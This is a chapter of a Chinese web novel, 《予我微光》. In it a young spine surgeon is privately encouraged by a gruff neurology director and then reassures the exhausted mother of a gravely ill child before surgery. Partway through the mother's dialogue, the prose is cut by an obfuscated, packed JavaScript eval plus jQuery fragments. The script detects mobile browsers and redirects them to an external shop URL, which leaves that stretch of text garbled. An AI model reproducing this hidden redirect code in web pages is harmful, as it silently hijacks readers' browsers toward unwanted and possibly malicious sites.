23. 第 23 章
作品:《予我微光》 这句话明着是提醒,实则看起来是把和家属沟通的难题丢给了宋辞。
会诊室一时又响起让人难耐的嗡嗡声,甚至有个别医生遭不住皱眉觉得李主任对后辈实在是过分严苛了。
宋辞咬了咬牙:“没问题。”
会诊结束时已近正午,张主任几人说着手术配合的细节陆续离开,宋辞弯腰收拾着散落的会诊材料,把宁彦初提供的德国病例集和方案拢在一起,指尖刚触到桌角的圆珠笔,就听见身后传来慢悠悠的脚步声,一回头,原来是李主任。
但也只有李主任一个人,之前跟着他的科室的医生都已经离开了。
宋辞原以为老主任是落下了东西,刚要开口询问,就见李主任拉开了在他身边的椅子,慢吞吞地坐了下来,双手依旧揣在白大褂口袋里,盯着桌面的CT片半天没说话。
“坐。”半晌,李主任瞪着面前的片子,抬下巴说。
宋辞被他这个行为搞得心里发毛犯嘀咕,刚才会诊时还剑拔弩张,这会儿又是什么情况?
难道……这位坏脾气的老爷子还有什么事情刚才没有喷完,现在还要一对一的继续喷?
宋辞把口罩往鼻梁上拽了拽,听话入座。
“哼,老王教学生倒是有一套。”李主任开口,语气依旧硬邦邦的,却没了之前的锐利。
他说完这句,手指点了点方案,又幽幽地叹了口气。
“方案里神经探测的标注,比我当年带的研究生细致多了。”他说完这话又顿了顿,手指在桌沿敲了敲,像是在跟谁赌气,喷了一口鼻息,“当年抢学生,我就差把科室最好的资源摆出来了,结果你小子不识货,非要跟老王学脊柱外科,真是……”
宋辞愣了愣,这才反应过来李主任在说什么。
这还得从他刚进医院实习时说起,刚到医院的学生都得轮科室,他跟着同门大致轮了一圈,等到再分配的时候,李主任确实找过他谈话,说想把他挖到神经科,只是那时候他早就认准了王主任的脊柱外科团队,他大方表明了态度,李老也没有再说啥,这事儿就不了了之了。
没想到这事儿过去这么多年,老主任还记着。
“李主任,您当年的《神经探测临床指南》我现在还常翻。”宋辞斟酌着,决定还不伤害这位老头子的玻璃心了,轻声说了一句宽慰。
“翻了有什么用,没进我科室,白瞎了。”李主任当然不领情,翻了个白眼,站起身时动作慢了些,路过宋辞身边,突然停下脚步,抬手按住了宋辞的肩膀,声音压得很低,“和家属谈的时候别硬扛,老王不在,真搞不定就找我。”
他斜眼见宋辞微微睁大了眼睛,又轻哼了一声:“每个医生都有这么一遭,总会经历的。还有,手术那天我去手术室盯着,论神经探测仪没人比我更熟。”
没等宋辞回应,他就背着手快步走出了会诊室,白大褂的下摆扫过门槛,留下一阵淡淡的消毒水味。
宋辞看着他的背影,足足过了两分钟才回过神,重新开始收拾手里的东西,往办公室走去。
*
会诊室的长廊连着住院楼,宋辞刚拐过走廊拐角,就看见一个有些眼熟的身影蹲在消防栓旁边,虽然只匆匆见过一面,但宋辞记忆力很好,没看错的话,应该是是乐乐的妈妈。
她穿着件洗得发白的蓝色外套,头发蓬乱地挽在脑后,几缕碎发粘在汗湿的额角,怀里紧紧抱着个保温桶,桶身印着的卡通图案都磨掉了色,和昨晚病房里形象别无二致,同一件上衣,同一个发型,甚至也是同一副表情。
听见脚步声,她抬起头,眼睛对上焦后猛地站起来,动作太急差点踉跄倒地,眼里瞬间泛起水光,却又飞快地低下头,用袖口蹭了蹭眼角。
宋辞只好停下,他其实还没有做好和家属谈话的准备,李老的忠告还在耳边,话素完全没有演练好,这一幕来的猝不及防。
“宋医生……”她的声音又干又哑,像被砂纸磨过,大概是怕宋大夫反感,前言不搭后语地解释一番:“我没刻意打听,就是碰碰运气,也没等多久……刚好来给孩子送点汤。”
宋辞看着她攥着保温桶提手的手指,指节粗糙,虎口处有几道细小的伤口,是常年做家务操劳留下的痕迹。
他把叹息压在了喉咙里:“您有问题直接问吧,我尽量解答,但是……乐乐的时间宝贵,争取早定方案早治疗。”
乐乐妈听到“治疗”两个字眼睛簇然亮了一下,昨天隔着病房小窗户和口罩看不清楚,此刻面对面对上,才发现这位宋医生实在是年轻。
他即便戴着蓝色医用口罩,露在外面的眉眼也生得极好,眉骨立体撑起利落的轮廓,眼窝深邃,黑眸亮得像淬了光的手术刀,鼻梁高挺的弧度隔着口罩都清晰可见,是藏不住的英气。
近距离接触下,宋辞身上的冷峻气息扑面而来,那只能是常年站在手术台旁沉淀下的气场,有那么几秒钟,乐乐妈妈被这股气息和他藏在口罩后的模样震得一个字都说不出来。
她突然意识到自己的目光太过直白,倍感窘迫地迅速低下头,手指紧张地绞着保温桶的提手,指节泛出青白。
宋辞:“您别急。”
乐乐妈妈抿了抿干裂的嘴唇,又沉默了几秒才抬起头,像是回忆起了什么,眼神里没有了往日的急切,到像蒙了层灰的玻璃:“我们跑了五家医院,有的说做不了,有的说做完也是瘫,孩子横竖都是受罪……来北京前,我们把老家能卖的都卖了,也想好了,治疗不好,也不回去了。”
她顿了顿,喉结滚动着,像是在压什么东西,“我说这个,不是要赖在医院的意思,更没有想要赖着您的意思,您千万别担心。我们就是单纯的……我就是想问问,这两天会有准信吗?咱们能给治疗的对不对?不管怎么样,我们都能扛,就是想别让孩子再遭罪了……”
话没说完,她口袋里的手机突然疯狂震动起来,屏幕上“孩子爸”三个字格外显眼。
她慌忙接起,还没来得及开口,电话那头就传来男人急躁的吼声:“怎么样了?出结果没?我这边工程款催得紧,得抓紧回去一趟,北京的医生到底能治吗?”
她的肩膀猛地绷紧,头埋得更低,声音细若蚊蚋:“孩子爸,这边宋大夫刚出来,我正问呢……你别上火,工地上注意安全……我听护士说医院很重视的,这边来给乐乐看的都是专家、大主任……”
“行了行了,我说能不上火吗?房子卖了,积蓄花光了!要是再没希望……”男人的声音越来越大,隔着手机都能听见他的焦躁。
乐乐妈妈把手机拿开了一些,猛地掐了掐自己的手心,硬生生把到了眼眶的眼泪逼回去,背过身,对着电话轻声安抚了几句,才匆匆挂了机。
“对不住,对不住……让您见笑了。”乐乐妈转过身,对着惨白的墙壁深吸了两口气,胸腔起伏得厉害,像是要把翻涌的委屈都压进肺里。
再转过来时,她脸上已经挤出一个僵硬的笑,眼角的泪痕还没干,又被新的紧绷扯出细纹,“宋医生,您别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187111|195548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往心里去,我们都很信任您……孩子爸他……他就是压力大,工地上催得紧,家里的担子全压他身上了。您要是忙,我……我再等您有空。我一直都在医院。”
宋辞看着她刻意挺直的脊背,那弧度绷得像根快要断的弦,再想起之前李主任的“刁难”,心情又重了几分。
他情绪有些低落,垂着眼眸,低头不经意地扫过怀里的手术方案,纸页边缘露出了密密麻麻的风险标注,上面每一个字都圆润可爱,透着书写者的柔软,和他的清爽利落带着一丝凌厉的字迹完全不同。
可就是这几个透着软乎气的圆字,像颗小石子猛地投进他静止的心湖,搅乱了他沉郁。
宋辞抬手,轻轻将方案往她面前递了递,指腹点在那些红色批注上:“您看,这是我国家医学实验室的朋友连夜帮我们整理的参考数据,她团队是世界顶尖的,特意为咱们得病例标了最关键的风险点。”
乐乐妈妈愣了一下,大概是没想到面前的宋医生就把手里这么重要的东西递给什么都不懂的她来看,她赶忙垂下眼睛,目光在满是术语的纸页上扫过,想要伸手又不敢接,尴尬的在衣服上蹭了蹭,也最终没有敢碰上去。
那些复杂的医学名词像天书一样难懂,但“国家医学实验室”“世界顶尖”这几个词钻进耳朵里,让她原本黯淡的眼神瞬间亮了亮,嘴角不自觉地微动了一下,紧绷的肩膀也悄悄松了半分。
“国外很多年前就有过相似的病例,差不多的年纪,一样复杂严重的情况。最后那边的医生把手术给孩子做了。结果是好的。”宋辞的声音又稳又平,带着安抚人心的强大力量。
“现在那几个孩子上学了,能跑能跳,和正常的没有区别。”
乐乐妈妈彻底怔住了。
宋辞走上前半步,声音放得格外轻,却带着斩钉截铁的坚定,像在给她,也在给自己打气:“乐乐妈妈,方案大致定了,我主刀。正式方案出来前,我会联合影像科做更详细的三维重建模型,后续也会和神经科的李主任反复核对手术路径。这些术前的具体流程很复杂,也很专业,您可能听不懂,但没关系。总之,每一步我们都会做好预案,不会让孩子冒糊涂险。风险是肯定有的,但我向您保证,我们这里每一个医生都希望乐乐能好起来,也会尽自己的全力,不让乐乐白受这趟罪。”
宋辞的话就像是一束突然穿破阴云的微光,她猛地抬起头,原本麻木得像蒙了层灰的眼睛,终于裂开一道缝,泪水顺着眼角的皱纹往下淌,却克制不住咧开嘴笑了,说实话可能是很久没有笑了缘故,那笑容并不好看,嘴角扯得发僵,却又充满了劫后余生的生机,像在滔天巨浪里沉浮许久,终于抓住了一块救命的浮木。
“宋医生……谢谢您……谢谢您还肯接这个手术……”她腿一阵阵发软,半靠着墙的声音抖得不成样子,尾音被泪水泡得发颤,“我们见了太多的医生,有的说做不了,有的劝我们放弃,我听到他们说乐乐这辈子……最多可能就只能这样了……”
她抬手想抹眼泪,又想起手里还攥着保温桶的提手,指尖下意识地收紧,把塑料提手捏得变了形。泪水砸在磨得发亮的桶身上,晕开一小片湿痕,顺着卡通图案的边缘往下淌,就好像上面的小兔子也跟着流了一串眼泪。
宋辞看着她,忽然想起宁彦初某个批注旁的一个胖胖圆圆的感叹号,长得和这只塑料图案的兔子很像。
这场手术,他不仅要赢,还要为这对母子,为身后默默支持他的人,赢回沉甸甸的希望。

